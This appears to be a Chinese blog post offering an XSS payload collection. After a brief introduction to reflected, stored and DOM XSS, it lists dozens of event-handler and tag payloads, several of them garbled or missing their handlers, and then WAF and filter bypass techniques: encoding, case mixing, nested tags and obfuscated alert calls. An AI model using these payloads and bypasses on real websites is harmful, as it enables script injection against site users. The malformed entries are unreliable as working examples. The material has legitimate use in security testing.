XSS万能超级无敌全通杀payload
——————————————
抱歉起的名字猖狂了点,我认,但我不改
——————————————
XSS 漏洞简介
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.
xss 分类:(三类)
反射型XSS:一般容易出现在搜索页面。
存储型XSS:代码是存储在服务器中的
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
payload——on,js事件
1、onmouseenter:当鼠标进入选区执行代码
<div style="123456</div>
2、onmouseleave:当鼠标离开选区执行代码
<DIV onmouseleave="alert('bem')" style="123456</DIV>
3、onmousewheel:当鼠标在选区滚轮时执行代码
<DIV onmousewheel="alert('bem')" style="123456</DIV>
4、onscroll:拖动滚动条执行代码
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('bem')">123456
</div>
5、onfocusin:当获得焦点时执行代码
<div contentEditable="true" style="asdf</div>
6、onfocusout:当失去焦点时执行代码
<div contentEditable="true" style="asdf</div>
7、onstart:当显示内容时执行代码
<marquee style="background-color:red" onstart="alert('bem')" >asdf</marquee>
8、onbeforecopy:选中内容后右键执行代码
<div style="" onbeforecopy="alert('bem')" >asdf</div>
9、onbeforecut:选中内容后右键执行代码
<div style="" onbeforecut="alert('bem')" >asdf</div>
10、onbeforeeditfocus:当获得焦点时执行代码
<div style="" contentEditable="true" onbeforeeditfocus="alert('bem')" >asdf</div>
11、onbeforepaste:选中内容后右键执行代码
<div style="" ="true" onbeforepaste="alert('bem')" >asdf</div>
12、oncontextmenu:鼠标右键执行代码
<div style="" oncontextmenu="alert('bem')" >asdf</div>
13、oncopy:鼠标右键执行复制时执行代码
<div style="" oncopy="alert('bem')" >asdf</div>
14、oncut:鼠标右键执行剪切时执行代码
<div contentEditable="true" style="" oncut="alert('bem')" >asdf</div>
15、ondrag:选择内容并拖动时执行代码
<div style="" ondrag="alert('bem')" >asdf</div>
16、ondragend:选择内容并拖动松开鼠标执行代码
<div style="" ondragend="alert('bem')" >asdf</div>
17、ondragenter:选择内容并拖动时执行代码
<div style="" ondragenter="alert('bem')" >asdf</div>
18、ondragleave:选择内容并拖出边框执行代码
<div contentEditable="true" style="" ondragleave="alert('bem')" >asdf</div>
19、ondragover:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragover="alert('bem')" >asdf</div>
20、ondragstart:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragstart="alert('bem')" >asdf</div>
21、ondrop:有内容被拖动进来时执行代码
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>
22、onlosecapture:选择内容时执行代码
<div contentEditable="true" style="" onlosecapture="alert('bem')" >asdf</div>
23、onpaste:粘贴时执行代码
<div contentEditable="true" style="" onpaste="alert('bem')" >asdf</div>
24、onselectstart:选择内容时执行代码
<div contentEditable="true" style="" onselectstart="alert('bem')" >asdf</div>
25、onhelp:进入焦点按F1时执行代码
<div contentEditable="true" style="" onhelp="alert('bem')" >asdf</div>
26、onEnd:当时间线执行完毕时执行代码
<div STYLE="behavior:url('#default#time2')" onEnd="alert('bem')">asdf</div>
27、onBegin:当时间线开始执行代码
<div STYLE="behavior:url('#default#time2')" onBegin="alert('bem')">asdf</div>
28、onactivate:激活当前标签时执行代码
<div contentEditable="true" STYLE="" onactivate="alert('bem')">asdf</div>
29、onfilterchange:当滤镜改变时执行代码
<div contentEditable="true" STYLE="filter: Alpha(opacity=100, style=2);" onfilterchange="alert('bem')">asdf</div>
30、onbeforeactivate:当激活当前标签时执行代码
<div contentEditable="true" STYLE="" onbeforeactivate="alert('bem')">asdf</div>
31、onbeforedeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" onbeforedeactivate="alert('bem')">asdf</div>
32、ondeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" ondeactivate="alert('bem')">asdf</div>
payload——标签
<a>标签
<a href=javascript:alert(1)>111</a>
<img>标签
<img src=https://www.baidu.com/img/flexible/logo/pc/result.png>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
<input>标签
<input onmouseover=alert(1) />
<script>标签
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
payload——过狗过墙思路
alert被过滤,可以prompt、confirm、console.log替换使用:
如果都被过滤,可以换个方式绕过
onmouseover=top[11189117..toString(32)](2222)
onmouseover=top[11189117..toString(32)](2222)
onmouseover="setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))"
本人常用payload分享
本人常用payload分享
onmousemove=top[11189117..toString(32)](2222)
onmouseover=top[11189117..toString(32)](2222)
onclick=……………………等等
onmousemove='alert(1111)'a="
<script>top[11189117..toString(32)](2222)</script>
<ScRiPt>top[11189117..toString(32)](2222)</ScRiPt>
%3cscript%3ealert(1111)%3c/script%3e
<Script>\u0061\u006C\u0065\u0072\u0074(1111)</Script>
<img src=java\0script:alert`1111`>
<img src=x onerror=alert`1111`>
%3Cimg+src%3Dx+onerror%3Dtop[11189117..toString(32)]%601111%60%3E
1、如果()被过滤,可以用//和``替代
2、如果<>被过滤,可以用%3c和%3e替代
3、如果‘“引号被过滤,可以用%27或%22替代
4、如果alert等被过滤,可以用其他方式代替,或者编码,或者上面提到的那些事件
5、如果scrip被过滤,可以用a标签或者img或者input标签替代绕过
姿势千奇百怪,如果大家有绕不过的xss可以私信留言找我,大家一起参考学习